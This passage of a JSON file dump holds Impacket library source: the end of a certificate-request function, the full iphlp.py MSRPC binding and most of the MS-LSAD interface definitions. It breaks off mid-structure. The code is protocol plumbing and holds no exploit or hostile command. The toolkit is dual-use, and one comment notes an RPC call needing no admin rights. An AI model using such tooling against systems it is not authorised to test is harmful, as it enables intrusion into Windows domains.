       else:\n            error_msg = translate_error_code(error_code)\n            if \"unknown error code\" in error_msg:\n                LOG.error(\n                    \"Got unknown error while trying to request certificate: (%s): %s\"\n                    % (\n                        error_msg,\n                        b\"\".join(response[\"pctbDispositionMessage\"][\"pb\"]).decode(\n                            \"utf-16le\"\n                        ),\n                    )\n                )\n            else:\n                LOG.error(\n                    \"Got error while trying to request certificate: %s\" % error_msg\n                )\n\n    LOG.info(\"Request ID is %d\" % request_id)\n\n    return b\"\".join(response[\"pctbEncodedCert\"][\"pb\"])"
  },
  {
    "path": "impacket/dcerpc/v5/iphlp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Implementation of iphlpsvc.dll MSRPC calls (Service that offers IPv6 connectivity over an IPv4 network)\n#\n# Authors:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n\nfrom socket import inet_aton\n\nfrom impacket import uuid\nfrom impacket import hresult_errors\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.dtypes import BYTE, ULONG, WSTR, GUID, NULL\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nMSRPC_UUID_IPHLP_IP_TRANSITION   = uuidtup_to_bin(('552d076a-cb29-4e44-8b6a-d15e59e2c0af', '1.0'))\n\n# RPC_IF_ALLOW_LOCAL_ONLY\nMSRPC_UUID_IPHLP_TEREDO          = uuidtup_to_bin(('ecbdb051-f208-46b9-8c8b-648d9d3f3944', '1.0'))\nMSRPC_UUID_IPHLP_TEREDO_CONSUMER = uuidtup_to_bin(('1fff8faa-ec23-4e3f-a8ce-4b2f8707e636', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]\n            return 'IPHLP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'IPHLP SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n\n# Notification types\nNOTIFICATION_ISATAP_CONFIGURATION_CHANGE               = 0\nNOTIFICATION_PROCESS6TO4_CONFIGURATION_CHANGE          = 1\nNOTIFICATION_TEREDO_CONFIGURATION_CHANGE               = 2\nNOTIFICATION_IP_TLS_CONFIGURATION_CHANGE               = 3\nNOTIFICATION_PORT_CONFIGURATION_CHANGE                 = 4\nNOTIFICATION_DNS64_CONFIGURATION_CHANGE                = 5\nNOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX = 6\n\n################################################################################\n# STRUCTURES\n################################################################################\n\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\n################################################################################\n# RPC CALLS\n################################################################################\n\n# Opnum 0\nclass IpTransitionProtocolApplyConfigChanges(NDRCALL):\n    opnum = 0\n    structure = (\n       ('NotificationNum', BYTE),\n    )\n\nclass IpTransitionProtocolApplyConfigChangesResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', ULONG),\n    )\n\n# Opnum 1\nclass IpTransitionProtocolApplyConfigChangesEx(NDRCALL):\n    opnum = 1\n    structure = (\n       ('NotificationNum', BYTE),\n       ('DataLength', ULONG),\n       ('Data', BYTE_ARRAY),\n    )\n\nclass IpTransitionProtocolApplyConfigChangesExResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', ULONG),\n    )\n\n# Opnum 2\nclass IpTransitionCreatev6Inv4Tunnel(NDRCALL):\n    opnum = 2\n    structure = (\n       ('LocalAddress', \"4s=''\"),\n       ('RemoteAddress', \"4s=''\"),\n       ('InterfaceName', WSTR),\n    )\n\nclass IpTransitionCreatev6Inv4TunnelResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', ULONG),\n    )\n\n# Opnum 3\nclass IpTransitionDeletev6Inv4Tunnel(NDRCALL):\n    opnum = 3\n    structure = (\n       ('TunnelGuid', GUID),\n    )\n\nclass IpTransitionDeletev6Inv4TunnelResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\n\nOPNUMS = {\n 0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse),\n 1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse),\n 2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse),\n 3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse)\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\n# For all notifications except EX\ndef hIpTransitionProtocolApplyConfigChanges(dce, notification_num):\n    request = IpTransitionProtocolApplyConfigChanges()\n    request['NotificationNum'] = notification_num\n\n    return dce.request(request)\n\n# Only for NOTIFICATION_DA_SITE_MGR_LOCAL_CONFIGURATION_CHANGE_EX\n# No admin required\ndef hIpTransitionProtocolApplyConfigChangesEx(dce, notification_num, notification_data):\n    request = IpTransitionProtocolApplyConfigChangesEx()\n    request['NotificationNum'] = notification_num\n    request['DataLength'] = len(notification_data)\n    request['Data'] = notification_data\n\n    return dce.request(request)\n\n# Same as netsh interface ipv6 add v6v4tunnel \"Test Tunnel\" 192.168.0.1 10.0.0.5\ndef hIpTransitionCreatev6Inv4Tunnel(dce, local_address, remote_address, interface_name):\n    request = IpTransitionCreatev6Inv4Tunnel()\n    request['LocalAddress'] = inet_aton(local_address)\n    request['RemoteAddress'] = inet_aton(remote_address)\n\n    request['InterfaceName'] = checkNullString(interface_name)\n    request.fields['InterfaceName'].fields['MaximumCount'] = 256\n\n    return dce.request(request)\n\ndef hIpTransitionDeletev6Inv4Tunnel(dce, tunnel_guid):\n    request = IpTransitionDeletev6Inv4Tunnel()\n    request['TunnelGuid'] = uuid.string_to_bin(tunnel_guid)\n\n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/lsad.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-LSAD] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRENUM, NDRUNION, NDRUniConformantVaryingArray, NDRPOINTER, NDR, NDRSTRUCT, \\\n    NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, STR, LUID, LONG, ULONG, RPC_UNICODE_STRING, PRPC_SID, LPBYTE, \\\n    LARGE_INTEGER, NTSTATUS, RPC_SID, ACCESS_MASK, UCHAR, PRPC_UNICODE_STRING, PLARGE_INTEGER, USHORT, \\\n    SECURITY_INFORMATION, NULL, MAXIMUM_ALLOWED, GUID, SECURITY_DESCRIPTOR, OWNER_SECURITY_INFORMATION\nfrom impacket import nt_errors\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nMSRPC_UUID_LSAD  = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in nt_errors.ERROR_MESSAGES:\n            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] \n            return 'LSAD SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'LSAD SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.1.1.2 ACCESS_MASK for Policy Objects\nPOLICY_VIEW_LOCAL_INFORMATION   = 0x00000001\nPOLICY_VIEW_AUDIT_INFORMATION   = 0x00000002\nPOLICY_GET_PRIVATE_INFORMATION  = 0x00000004\nPOLICY_TRUST_ADMIN              = 0x00000008\nPOLICY_CREATE_ACCOUNT           = 0x00000010\nPOLICY_CREATE_SECRET            = 0x00000020\nPOLICY_CREATE_PRIVILEGE         = 0x00000040\nPOLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080\nPOLICY_SET_AUDIT_REQUIREMENTS   = 0x00000100\nPOLICY_AUDIT_LOG_ADMIN          = 0x00000200\nPOLICY_SERVER_ADMIN             = 0x00000400\nPOLICY_LOOKUP_NAMES             = 0x00000800\nPOLICY_NOTIFICATION             = 0x00001000\n\n# 2.2.1.1.3 ACCESS_MASK for Account Objects\nACCOUNT_VIEW                 = 0x00000001\nACCOUNT_ADJUST_PRIVILEGES    = 0x00000002\nACCOUNT_ADJUST_QUOTAS        = 0x00000004\nACCOUNT_ADJUST_SYSTEM_ACCESS = 0x00000008\n\n# 2.2.1.1.4 ACCESS_MASK for Secret Objects\nSECRET_SET_VALUE   = 0x00000001\nSECRET_QUERY_VALUE = 0x00000002\n\n# 2.2.1.1.5 ACCESS_MASK for Trusted Domain Objects\nTRUSTED_QUERY_DOMAIN_NAME = 0x00000001\nTRUSTED_QUERY_CONTROLLERS = 0x00000002\nTRUSTED_SET_CONTROLLERS   = 0x00000004\nTRUSTED_QUERY_POSIX       = 0x00000008\nTRUSTED_SET_POSIX         = 0x00000010\nTRUSTED_SET_AUTH          = 0x00000020\nTRUSTED_QUERY_AUTH        = 0x00000040\n\n# 2.2.1.2 POLICY_SYSTEM_ACCESS_MODE\nPOLICY_MODE_INTERACTIVE             = 0x00000001\nPOLICY_MODE_NETWORK                 = 0x00000002\nPOLICY_MODE_BATCH                   = 0x00000004\nPOLICY_MODE_SERVICE                 = 0x00000010\nPOLICY_MODE_DENY_INTERACTIVE        = 0x00000040\nPOLICY_MODE_DENY_NETWORK            = 0x00000080\nPOLICY_MODE_DENY_BATCH              = 0x00000100\nPOLICY_MODE_DENY_SERVICE            = 0x00000200\nPOLICY_MODE_REMOTE_INTERACTIVE      = 0x00000400\nPOLICY_MODE_DENY_REMOTE_INTERACTIVE = 0x00000800\nPOLICY_MODE_ALL                     = 0x00000FF7\nPOLICY_MODE_ALL_NT4                 = 0x00000037\n\n# 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO\n# EventAuditingOptions\nPOLICY_AUDIT_EVENT_UNCHANGED = 0x00000000\nPOLICY_AUDIT_EVENT_NONE      = 0x00000004\nPOLICY_AUDIT_EVENT_SUCCESS   = 0x00000001\nPOLICY_AUDIT_EVENT_FAILURE   = 0x00000002\n\n# 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO\n# AuthenticationOptions\nPOLICY_KERBEROS_VALIDATE_CLIENT = 0x00000080\n\n# 2.2.7.21 LSA_FOREST_TRUST_RECORD\n# Flags\nLSA_TLN_DISABLED_NEW          = 0x00000001\nLSA_TLN_DISABLED_ADMIN        = 0x00000002\nLSA_TLN_DISABLED_CONFLICT     = 0x00000004\nLSA_SID_DISABLED_ADMIN        = 0x00000001\nLSA_SID_DISABLED_CONFLICT     = 0x00000002\nLSA_NB_DISABLED_ADMIN         = 0x00000004\nLSA_NB_DISABLED_CONFLICT      = 0x00000008\nLSA_FTRECORD_DISABLED_REASONS = 0x0000FFFF\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.2.1 LSAPR_HANDLE\nclass LSAPR_HANDLE(NDRSTRUCT):\n    align = 1\n    structure =  (\n        ('Data','20s=\"\"'),\n    )\n\n# 2.2.2.3 LSA_UNICODE_STRING\nLSA_UNICODE_STRING = RPC_UNICODE_STRING\n\n# 2.2.3.1 STRING\nclass STRING(NDRSTRUCT):\n    commonHdr = (\n        ('MaximumLength','<H=len(Data)-12'),\n        ('Length','<H=len(Data)-12'),\n        ('ReferentID','<L=0xff'),\n    )\n    commonHdr64 = (\n        ('MaximumLength','<H=len(Data)-24'),\n        ('Length','<H=len(Data)-24'),\n        ('ReferentID','<Q=0xff'),\n    )\n\n    referent = (\n        ('Data',STR),\n    )\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n        # Here just print the data\n        print(\" %r\" % (self['Data']), end=' ')\n\n    def __setitem__(self, key, value):\n        if key == 'Data':\n            self.fields['MaximumLength'] = None\n            self.fields['Length'] = None\n            self.data = None        # force recompute\n        return NDR.__setitem__(self, key, value)\n\n# 2.2.3.2 LSAPR_ACL\nclass LSAPR_ACL(NDRSTRUCT):\n    structure =  (\n        ('AclRevision', UCHAR),\n        ('Sbz1', UCHAR),\n        ('AclSize', USHORT),\n        ('Dummy1',NDRUniConformantArray),\n    )\n\n# 2.2.3.4 LSAPR_SECURITY_DESCRIPTOR\nLSAPR_SECURITY_DESCRIPTOR = SECURITY_DESCRIPTOR\n\nclass PLSAPR_SECURITY_DESCRIPTOR(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_SECURITY_DESCRIPTOR),\n    )\n\n# 2.2.3.5 SECURITY_IMPERSONATION_LEVEL\nclass SECURITY_IMPERSONATION_LEVEL(NDRENUM):\n    class enumItems(Enum):\n        SecurityAnonymous      = 0\n        SecurityIdentification = 1\n        SecurityImpersonation  = 2\n        SecurityDelegation     = 3\n\n# 2.2.3.6 SECURITY_CONTEXT_TRACKING_MODE\nSECURITY_CONTEXT_TRACKING_MODE = UCHAR\n\n# 2.2.3.7 SECURITY_QUALITY_OF_SERVICE\nclass SECURITY_QUALITY_OF_SERVICE(NDRSTRUCT):\n    structure = (\n        ('Length', DWORD), \n        ('ImpersonationLevel', SECURITY_IMPERSONATION_LEVEL), \n        ('ContextTrackingMode', SECURITY_CONTEXT_TRACKING_MODE), \n        ('EffectiveOnly', UCHAR), \n    )\n\nclass PSECURITY_QUALITY_OF_SERVICE(NDRPOINTER):\n    referent = (\n        ('Data', SECURITY_QUALITY_OF_SERVICE),\n    )\n\n# 2.2.2.4 LSAPR_OBJECT_ATTRIBUTES\nclass LSAPR_OBJECT_ATTRIBUTES(NDRSTRUCT):\n    structure = (\n        ('Length', DWORD), \n        ('RootDirectory', LPWSTR), \n        ('ObjectName', LPWSTR), \n        ('Attributes', DWORD), \n        ('SecurityDescriptor', PLSAPR_SECURITY_DESCRIPTOR), \n        ('SecurityQualityOfService', PSECURITY_QUALITY_OF_SERVICE), \n    )\n\n# 2.2.2.5 LSAPR_SR_SECURITY_DESCRIPTOR\nclass LSAPR_SR_SECURITY_DESCRIPTOR(NDRSTRUCT):\n    structure = (\n        ('Length', DWORD), \n        ('SecurityDescriptor', LPBYTE), \n    )\n\nclass PLSAPR_SR_SECURITY_DESCRIPTOR(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_SR_SECURITY_DESCRIPTOR),\n    )\n\n# 2.2.3.3 SECURITY_DESCRIPTOR_CONTROL\nSECURITY_DESCRIPTOR_CONTROL = ULONG\n\n# 2.2.4.1 POLICY_INFORMATION_CLASS\nclass POLICY_INFORMATION_CLASS(NDRENUM):\n    class enumItems(Enum):\n        PolicyAuditLogInformation           = 1\n        PolicyAuditEventsInformation        = 2\n        PolicyPrimaryDomainInformation      = 3\n        PolicyPdAccountInformation          = 4\n        PolicyAccountDomainInformation      = 5\n        PolicyLsaServerRoleInformation      = 6\n        PolicyReplicaSourceInformation      = 7\n        PolicyInformationNotUsedOnWire      = 8\n        PolicyModificationInformation       = 9\n        PolicyAuditFullSetInformation       = 10\n        PolicyAuditFullQueryInformation     = 11\n        PolicyDnsDomainInformation          = 12\n        PolicyDnsDomainInformationInt       = 13\n        PolicyLocalAccountDomainInformation = 14\n        PolicyLastEntry                     = 15\n\n# 2.2.4.3 POLICY_AUDIT_LOG_INFO\nclass POLICY_AUDIT_LOG_INFO(NDRSTRUCT):\n    structure = (\n        ('AuditLogPercentFull', DWORD), \n        ('MaximumLogSize', DWORD), \n        ('AuditRetentionPeriod', LARGE_INTEGER), \n        ('AuditLogFullShutdownInProgress', UCHAR), \n        ('TimeToShutdown', LARGE_INTEGER), \n        ('NextAuditRecordId', DWORD), \n    )\n\n# 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO\nclass DWORD_ARRAY(NDRUniConformantArray):\n    item = DWORD\n\nclass PDWORD_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DWORD_ARRAY),\n    )\n\nclass LSAPR_POLICY_AUDIT_EVENTS_INFO(NDRSTRUCT):\n    structure = (\n        ('AuditingMode', UCHAR), \n        ('EventAuditingOptions', PDWORD_ARRAY), \n        ('MaximumAuditEventCount', DWORD), \n    )\n\n# 2.2.4.5 LSAPR_POLICY_PRIMARY_DOM_INFO\nclass LSAPR_POLICY_PRIMARY_DOM_INFO(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING), \n        ('Sid', PRPC_SID), \n    )\n\n# 2.2.4.6 LSAPR_POLICY_ACCOUNT_DOM_INFO\nclass LSAPR_POLICY_ACCOUNT_DOM_INFO(NDRSTRUCT):\n    structure = (\n        ('DomainName', RPC_UNICODE_STRING), \n        ('DomainSid', PRPC_SID), \n    )\n\n# 2.2.4.7 LSAPR_POLICY_PD_ACCOUNT_INFO\nclass LSAPR_POLICY_PD_ACCOUNT_INFO(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING), \n    )\n\n# 2.2.4.8 POLICY_LSA_SERVER_ROLE\nclass POLICY_LSA_SERVER_ROLE(NDRENUM):\n    class enumItems(Enum):\n        PolicyServerRoleBackup   = 2\n        PolicyServerRolePrimary  = 3\n\n# 2.2.4.9 POLICY_LSA_SERVER_ROLE_INFO\nclass POLICY_LSA_SERVER_ROLE_INFO(NDRSTRUCT):\n    structure = (\n        ('LsaServerRole', POLICY_LSA_SERVER_ROLE), \n    )\n\n# 2.2.4.10 LSAPR_POLICY_REPLICA_SRCE_INFO\nclass LSAPR_POLICY_REPLICA_SRCE_INFO(NDRSTRUCT):\n    structure = (\n        ('ReplicaSource', RPC_UNICODE_STRING), \n        ('ReplicaAccountName', RPC_UNICODE_STRING), \n    )\n\n# 2.2.4.11 POLICY_MODIFICATION_INFO\nclass POLICY_MODIFICATION_INFO(NDRSTRUCT):\n    structure = (\n        ('ModifiedId', LARGE_INTEGER), \n        ('DatabaseCreationTime', LARGE_INTEGER), \n    )\n\n# 2.2.4.12 POLICY_AUDIT_FULL_SET_INFO\nclass POLICY_AUDIT_FULL_SET_INFO(NDRSTRUCT):\n    structure = (\n        ('ShutDownOnFull', UCHAR), \n    )\n\n# 2.2.4.13 POLICY_AUDIT_FULL_QUERY_INFO\nclass POLICY_AUDIT_FULL_QUERY_INFO(NDRSTRUCT):\n    structure = (\n        ('ShutDownOnFull', UCHAR), \n        ('LogIsFull', UCHAR), \n    )\n\n# 2.2.4.14 LSAPR_POLICY_DNS_DOMAIN_INFO\nclass LSAPR_POLICY_DNS_DOMAIN_INFO(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING), \n        ('DnsDomainName', RPC_UNICODE_STRING), \n        ('DnsForestName', RPC_UNICODE_STRING), \n        ('DomainGuid', GUID), \n        ('Sid', PRPC_SID), \n    )\n\n# 2.2.4.2 LSAPR_POLICY_INFORMATION\nclass LSAPR_POLICY_INFORMATION(NDRUNION):\n    union = {\n        POLICY_INFORMATION_CLASS.PolicyAuditLogInformation          : ('PolicyAuditLogInfo', POLICY_AUDIT_LOG_INFO),\n        POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation       : ('PolicyAuditEventsInfo', LSAPR_POLICY_AUDIT_EVENTS_INFO),\n        POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation     : ('PolicyPrimaryDomainInfo', LSAPR_POLICY_PRIMARY_DOM_INFO),\n        POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation     : ('PolicyAccountDomainInfo', LSAPR_POLICY_ACCOUNT_DOM_INFO),\n        POLICY_INFORMATION_CLASS.PolicyPdAccountInformation         : ('PolicyPdAccountInfo', LSAPR_POLICY_PD_ACCOUNT_INFO),\n        POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation     : ('PolicyServerRoleInfo', POLICY_LSA_SERVER_ROLE_INFO),\n        POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation     : ('PolicyReplicaSourceInfo', LSAPR_POLICY_REPLICA_SRCE_INFO),\n        POLICY_INFORMATION_CLASS.PolicyModificationInformation      : ('PolicyModificationInfo', POLICY_MODIFICATION_INFO),\n        POLICY_INFORMATION_CLASS.PolicyAuditFullSetInformation      : ('PolicyAuditFullSetInfo', POLICY_AUDIT_FULL_SET_INFO),\n        POLICY_INFORMATION_CLASS.PolicyAuditFullQueryInformation    : ('PolicyAuditFullQueryInfo', POLICY_AUDIT_FULL_QUERY_INFO),\n        POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation         : ('PolicyDnsDomainInfo', LSAPR_POLICY_DNS_DOMAIN_INFO),\n        POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt      : ('PolicyDnsDomainInfoInt', LSAPR_POLICY_DNS_DOMAIN_INFO),\n        POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation: ('PolicyLocalAccountDomainInfo', LSAPR_POLICY_ACCOUNT_DOM_INFO),\n    }\n\nclass PLSAPR_POLICY_INFORMATION(NDRPOINTER):\n    referent = (\n       ('Data', LSAPR_POLICY_INFORMATION),\n    )\n\n# 2.2.4.15 POLICY_DOMAIN_INFORMATION_CLASS\nclass POLICY_DOMAIN_INFORMATION_CLASS(NDRENUM):\n    class enumItems(Enum):\n        PolicyDomainQualityOfServiceInformation = 1\n        PolicyDomainEfsInformation              = 2\n        PolicyDomainKerberosTicketInformation   = 3\n\n# 2.2.4.17 POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO\nclass POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO(NDRSTRUCT):\n    structure = (\n        ('QualityOfService', DWORD), \n    )\n\n# 2.2.4.18 LSAPR_POLICY_DOMAIN_EFS_INFO\nclass LSAPR_POLICY_DOMAIN_EFS_INFO(NDRSTRUCT):\n    structure = (\n        ('InfoLength', DWORD), \n        ('EfsBlob', LPBYTE), \n    )\n\n# 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO\nclass POLICY_DOMAIN_KERBEROS_TICKET_INFO(NDRSTRUCT):\n    structure = (\n        ('AuthenticationOptions', DWORD), \n        ('MaxServiceTicketAge', LARGE_INTEGER), \n        ('MaxTicketAge', LARGE_INTEGER), \n        ('MaxRenewAge', LARGE_INTEGER), \n        ('MaxClockSkew', LARGE_INTEGER), \n        ('Reserved', LARGE_INTEGER), \n    )\n\n# 2.2.4.16 LSAPR_POLICY_DOMAIN_INFORMATION\nclass LSAPR_POLICY_DOMAIN_INFORMATION(NDRUNION):\n    union = {\n        POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation : ('PolicyDomainQualityOfServiceInfo', POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO ),\n        POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainEfsInformation              : ('PolicyDomainEfsInfo', LSAPR_POLICY_DOMAIN_EFS_INFO),\n        POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainKerberosTicketInformation   : ('PolicyDomainKerbTicketInfo', POLICY_DOMAIN_KERBEROS_TICKET_INFO),\n    }\n\nclass PLSAPR_POLICY_DOMAIN_INFORMATION(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_POLICY_DOMAIN_INFORMATION),\n    )\n\n# 2.2.4.20 POLICY_AUDIT_EVENT_TYPE\nclass POLICY_AUDIT_EVENT_TYPE(NDRENUM):\n    class enumItems(Enum):\n        AuditCategorySystem                 = 0\n        AuditCategoryLogon                  = 1\n        AuditCategoryObjectAccess           = 2\n        AuditCategoryPrivilegeUse           = 3\n        AuditCategoryDetailedTracking       = 4\n        AuditCategoryPolicyChange           = 5\n        AuditCategoryAccountManagement      = 6\n        AuditCategoryDirectoryServiceAccess = 7\n        AuditCategoryAccountLogon           = 8\n\n# 2.2.5.1 LSAPR_ACCOUNT_INFORMATION\nclass LSAPR_ACCOUNT_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Sid', PRPC_SID), \n    )\n\n# 2.2.5.2 LSAPR_ACCOUNT_ENUM_BUFFER\nclass LSAPR_ACCOUNT_INFORMATION_ARRAY(NDRUniConformantArray):\n    item = LSAPR_ACCOUNT_INFORMATION\n\nclass PLSAPR_ACCOUNT_INFORMATION_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_ACCOUNT_INFORMATION_ARRAY),\n    )\n\nclass LSAPR_ACCOUNT_ENUM_BUFFER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG), \n        ('Information', PLSAPR_ACCOUNT_INFORMATION_ARRAY), \n    )\n\n# 2.2.5.3 LSAPR_USER_RIGHT_SET\nclass RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):\n    item = RPC_UNICODE_STRING\n\nclass PRPC_UNICODE_STRING_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', RPC_UNICODE_STRING_ARRAY),\n    )\n\nclass LSAPR_USER_RIGHT_SET(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG), \n        ('UserRights', PRPC_UNICODE_STRING_ARRAY), \n    )\n\n# 2.2.5.4 LSAPR_LUID_AND_ATTRIBUTES\nclass LSAPR_LUID_AND_ATTRIBUTES(NDRSTRUCT):\n    structure = (\n        ('Luid', LUID), \n        ('Attributes', ULONG), \n    )\n\n# 2.2.5.5 LSAPR_PRIVILEGE_SET\nclass LSAPR_LUID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):\n    item = LSAPR_LUID_AND_ATTRIBUTES\n\nclass LSAPR_PRIVILEGE_SET(NDRSTRUCT):\n    structure = (\n        ('PrivilegeCount', ULONG), \n        ('Control', ULONG), \n        ('Privilege', LSAPR_LUID_AND_ATTRIBUTES_ARRAY), \n    )\n\nclass PLSAPR_PRIVILEGE_SET(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_PRIVILEGE_SET),\n    )\n\n# 2.2.6.1 LSAPR_CR_CIPHER_VALUE\nclass PCHAR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', NDRUniConformantVaryingArray),\n    )\n\nclass LSAPR_CR_CIPHER_VALUE(NDRSTRUCT):\n    structure = (\n        ('Length', LONG), \n        ('MaximumLength', LONG), \n        ('Buffer', PCHAR_ARRAY), \n    )\n\nclass PLSAPR_CR_CIPHER_VALUE(NDRPOINTER):\n    referent = (\n        ('Data', LSAPR_CR_CIPHER_VALUE), \n    )\n\nclass PPLSAPR_CR_CIPHER_VALUE(NDRPOINTER):\n    referent = (\n        ('Data', PLSAPR_CR_CIPHER_VALUE),\n    )\n\n# 2.2.7.1 LSAPR_TRUST_INFORMATION\nclass LSAPR_TRUST_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING), \n        ('Sid', PRPC_SID), \n    )\n\n# 2.2.7.2 TRUSTED_INFORMATION_CLASS\nclass TRUSTED_INFORMATION_CLASS(NDRENUM):\n    class enumItems(Enum):\n        TrustedDomainNameInformation          = 1\n        TrustedControllersInformation         = 2\n        TrustedPosixOffsetInformation         = 3\n        TrustedPasswordInformation            = 4\n        TrustedDomainInformationBasic         = 5\n        TrustedDomainInformationEx            = 6\n        TrustedDomainAuthInformation          = 7\n        TrustedDomainFullInformation          = 8\n        TrustedDomainAuthInformationInternal  = 9\n        TrustedDomainFullInformationInternal  = 10\n        TrustedDomainInformationEx2Internal   = 11\n        TrustedDomainFullInformation2Internal = 12\n        TrustedDomainSupportedEncryptionTypes = 13\n\n# 2.2.7.4 LSAPR_TRUSTED_DOMAIN_NAME_INFO\nclass LSAPR_TRUSTED_DOMAIN_NAME_INFO(NDRSTRUCT):\n    structure = (\n        ('Name', RPC_UNICODE_STRING), \n    )\n\n# 2.2.7.5 LSAPR_TRUSTED_CONTROLLERS_INFO\nclass LSAPR_TRUSTED_CONTROLLERS_INFO(NDRSTRUCT):\n    structure = (\n        ('Entries', ULONG), \n        ('Names', PRPC_UNICODE_STRING_ARRAY), \n    )\n\n# 2.2.7.6 TRUSTED_POSIX_OFFSET_INFO\nclass TRUSTED_POSIX_OFFSET_INFO(NDRSTRUCT):\n    structure = (\n        ('Offset', ULONG), \n    )\n\n# 2.2.7.7 LSAPR_TRUSTED_PASSWORD_INFO\nclass LSAPR_TRUSTED_PASSWORD_INFO(NDRSTRUCT):\n    structure = (\n        ('Password', 